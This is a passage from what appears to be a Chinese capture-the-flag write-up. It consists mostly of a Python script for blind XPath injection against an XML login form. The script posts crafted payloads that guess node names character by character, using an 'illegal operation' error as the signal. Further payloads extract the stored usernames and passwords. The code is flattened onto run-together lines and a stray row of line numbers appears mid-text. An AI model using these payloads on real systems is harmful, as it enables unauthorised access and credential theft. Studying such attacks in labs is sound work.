flag ='' for i in range(1,20): print('------------------') for j in strs: r = s.post(url=url) token = find.findall(r.text) #猜测根节点名称 payload = "<username>' or substring(name(/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0]) r = s.post(url=url,headers=head,data=payload) if"非法操作"in r.text: flag+=j print(flag) break
接下来依次跑根节点以下的子节点,直到跑到username和password,替换payload即可
1 2 3 4 5 6 7 8 9 10 11 12 13
#猜测子节点名称 payload_2 = "<username>' or substring(name(/root/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0]) #猜测accounts的节点 payload_3 ="<username>'or substring(name(/root/accounts/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点 payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码 payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])